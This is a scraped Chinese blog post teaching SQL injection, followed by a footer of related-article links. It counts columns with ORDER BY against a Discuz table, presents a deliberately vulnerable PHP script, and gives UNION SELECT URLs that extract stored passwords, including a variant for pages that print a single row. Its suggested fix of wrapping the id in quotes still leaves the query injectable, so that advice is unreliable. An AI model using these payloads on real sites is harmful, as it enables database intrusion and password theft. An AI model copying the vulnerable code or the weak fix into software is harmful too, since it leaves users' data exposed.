一、查询表中包括有多少列:

这里以DISCUZ举例说明,例如以下

select * FROM pre_forum_thread ORDER BY 80

返回,Unknown column '80' in 'order clause'。这样能够判定一定小于80列,以下再试用 39

select * FROM pre_forum_thread ORDER BY 39

正常返回了数据,我们判定一定大于等于39,因此仅仅要再试一下40就能够了,这里略过试用,对于开源程序,我全然能够知道他就是有39列。

二、构造參数,读取数据库中的密码

这里以本地创建的一个表为例,前提是參数没有被过滤等操作,表 account 含有三个字段。分别为 id,admin,password

表内包括数据为:

1 admin 12345678
2 test 134545

创建PHP读取数据库文件 x.php:

<?php
$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_GET['id'])? $_GET['id']:1;
$sql = "SELECT * FROM `account` WHERE id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query)){
echo $row['admin'] . "<br/>";
}
?>

訪问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里開始SQL的注入使用,构造參数后的地址

http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2

在返回数据中。发现2被返回了,因此,须要改动这里的2位置为想要的字段内容,比方说 password ,即地址改动为

http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2

运行地址后返回数据:

test
134545

这样密码就得到了。

当然这里仅仅是简单的举例说明。没有对密码进行MD5加密。假设是MD5加密或其他加密的话,仍然须要接下来的破解,就不是这里主要讲述的内容了。

此问题的解决的方法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 改动为

$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二个问题中,发现用户是使用了 while将全部数据进行循环得出的数据,假设用户不是循环。而是直接输出了最后一条数据怎么办呢?
这时。仅仅要将參数又一次改动,就能够仅仅返回union回来的数据了。例如以下
http://127.0.0.1/x.php?

id=3 union select 1,password,3 from `account` where id=2
由于表里面没有这条id=3的数据,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
这里非常明显 1和2是不相等的

SQL注入的几种有用办法的更多相关文章

  1. 预处理(防止sql注入的一种方式)

    <!--- 预处理(预编译) ---><?php/* 防止 sql 注入的两种方式: 1. 人为提高代码的逻辑性,使其变得更严谨,滴水不漏. 比如说 增加判断条件,增加输入过滤等,但 ...

  2. Hibernate使用中防止SQL注入的几种方案

    Hibernate使用中防止SQL注入的几种方案 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数 ...

  3. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  4. SQL注入的几种类型

    SQL注入就是: 将构造SQL语句来插入到web提交的数据之中,让其返回数据时运行自己构造的恶意SQL语句. SQL注入构造恶意SQL语句的方法有: 构造堆叠,构造闭合,构造报错,构造时间差,等等 S ...

  5. 防止 jsp被sql注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  6. PHP实现防止SQL注入的2种方法

    PHP简单实现防止SQL注入的方法,结合实例形式分析了PHP防止SQL注入的常用操作技巧与注意事项,PHP源码备有详尽注释便于理解,需要的朋友可以参考下! 方法一:execute代入参数 $var_V ...

  7. .net防止SQL注入的一种方式

    首先也要明白一点,什么是SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将 ...

  8. 防止sql注入的几种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  9. PHP防止SQL注入与几种正则表达式讲解

    注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) {     echo <b& ...

随机推荐

  1. python装饰器(整理版)

    Python中函数有一个装饰器的概念,今天,看核心编程中的函数一章的时候接触到了这个概念,炸一看来,讲的说明真实不好明白.于是写下本篇以示说明,提供给迷糊者.希望能对一些人起到一定的帮助 装饰器的语法 ...

  2. Angular1 基础知识 浅析(含锚点)

    1.angular:前端js框架  https://angularjs.org ① SPA单页应用程序 通过ajax从后台获取数据,动态渲染页面,不出现白屏,提高效率,节省流量 (1)锚点值 锚点:是 ...

  3. 转 python数据类型详解

    python数据类型详解 目录 1.字符串 2.布尔类型 3.整数 4.浮点数 5.数字 6.列表 7.元组 8.字典 9.日期 1.字符串 1.1.如何在Python中使用字符串 a.使用单引号(' ...

  4. How do I list all fields of an object in Objective-C?

    http://stackoverflow.com/questions/1213901/how-do-i-list-all-fields-of-an-object-in-objective-c As m ...

  5. 有关BOM(Browser Object Model)的内容

    包括: BOM概述 BOM模型 Window对象(常用属性和方法,窗口的打开,窗口的关闭,模态对话框,定时器) Navigator对象(遍历navigator对象的所有属性,Navigator 对象集 ...

  6. linux用户登录

    一.linux用户登录过程访问的文件 /etc/passwd---用户登录时,linux会先到这里查看用户Id.组Id.登录后的shell.用户工作目录 /etc/shadow(影)---linux在 ...

  7. 第一章:1-20、试计算以下两种情况的发送时延和传播时延: (1) 数据长度为107bit,数据发送速率为100kbit/s,传播距离为1000km,信号在媒体上 的传播速率为2×108m/s。 (2) 数据长度为103bit,数据发送速率为1Gbit/s,传输距离和信号在媒体上的传播速率同 上。

    <计算机网络>谢希仁著第四版课后习题答案答: 1):发送延迟=107/(100×1000)=100s         传播延迟=1000×1000/(2×108)=5×10-3s=5ms ...

  8. 计蒜客 18492.Upside down primes-米勒拉宾判大素数 (German Collegiate Programming Contest 2015 ACM-ICPC Asia Training League 暑假第一阶段第三场 K)

    K. Upside down primes 传送门 这个题就是把大数按字符串输进去,判断一下是不是素数,然后反转180度,先判断反转之后的东西是不是一个数,如果是的话,再把这个数判一下是不是素数,如果 ...

  9. 计蒜客 18488.Extreme Sort (German Collegiate Programming Contest 2015 ACM-ICPC Asia Training League 暑假第一阶段第三场 E)

    E.Extreme Sort 传送门 代码: #include<iostream> #include<cstdio> #include<cstring> #incl ...

  10. [BZOJ 1567] Blue Mary的战役地图

    Link: BZOJ 1567 传送门 Solution: 矩阵Hash/二维$Hash$模板题 涉及到需要快速查询.匹配的题目,考虑直接上$Hash$ 矩阵$Hash$其实就是每行先各$Hash$一 ...